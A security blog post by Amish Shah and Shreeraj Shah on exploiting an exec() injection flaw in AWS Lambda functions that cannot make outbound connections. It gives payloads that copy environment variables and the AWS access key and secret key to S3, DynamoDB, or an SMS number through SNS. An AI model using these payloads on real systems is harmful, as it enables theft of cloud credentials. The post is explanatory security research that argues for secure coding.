Blind Lambda Event Injections without Outbound Connections (Part 2)

In the previous blog post (here), we covered a simple technique to both discover and exploit serverless/lambda functions at blind spots without outbound connections in place. We concluded the following at the end of the article: - “It is imperative to identify injection points and fix the vulnerabilities at the source rather than relying on deploying ‘post exploitation’ solutions like blocking traffic or other OS level calls. Once a vulnerability is identified, an attacker can always find ways to mount attacks and exploit the identified vulnerability.”

As we have seen earlier, lambda functions, which are integrated in serverless applications, are not usually isolated and consume events from various components like Amazon S3, DynamoDB, SNS etc. as shown in the below figure. In this article, we will look into how an attacker can leverage serverless applications and components integrated to the functions to fetch information and detect vulnerabilities in spite of blocked outbound connections.

 

For this scenario, let's assume that the lambda function is integrated with various Amazon components according to the design pattern of serverless applications. We can enumerate the lambda function and identify which components are integrated with the function (an outbound connection is not required). Once the component is identified, we can use customized payloads according to the component for various use cases and check the results.

We have the following code in place – which processes the 'exec' command for fetching 'key3'. We are blindly checking for a command execution vulnerability in this piece of code, where the lambda function does not have any outbound connection.

def lambda_handler(event, context):
     …

     …

        exec(event['key3']);
     …


We will be passing the below payload or stream to the function in a normal scenario: -

{

"key3": "3";

}


Let’s take different use cases/design patterns for serverless applications and see how it can be leveraged during post exploitation.

Writing to Amazon S3

We can inject the below payload and push environment variables to the known-bucket. We can say that the command is successfully executed if the variables are written and we can read them all (no outbound connection is required).

{

"key3": "3; a = os.environ; import boto3; s3 = boto3.client('s3'); s3.put_object(Bucket=’known-bucket', Key=’known-bucket’, Body=str(a))",

}


Writing to Amazon DynamoDB


In the same manner as above, we can inject the below payload and check for successful execution of the command if the environment variables are written to the known-and accessible dynamodb (access via some other use case).

{

 "key3": "3; a = os.environ; import boto3; ddb = boto3.resource('dynamodb'); table = ddb.Table('known-location'); table.put_item(Item={'LocationId':4, 'Data': str(a)})",

}


Sending via SMS

We can inject the below payload and push environment variable like "access key" via SMS service to a specific number (no outbound connection is required)


{

 "key3": "3; a = os.environ['AWS_ACCESS_KEY_ID']; b = os.environ['AWS_SECRET_ACCESS_KEY']; import boto3; snsmsg = boto3.client('sns'); snsmsg.set_sms_attributes(attributes={'DefaultSMSType': 'Transactional'}); snsmsg.publish(PhoneNumber='+NUMBER’, Message=str(a+':'+b))",

}  
 

Conclusion:

We discussed three use cases in this post, but there might be more since lambda functions need to interact with several components across the AWS eco-system. The best practice to fix vulnerabilities is by resolving the vulnerabilities with secure coding practices and protecting against incoming malicious event streams. "Post-exploitation" solutions end up providing a sense-of-security but are not reliable defense solutions for protecting lambda functions.

Article by Amish Shah & Shreeraj Shah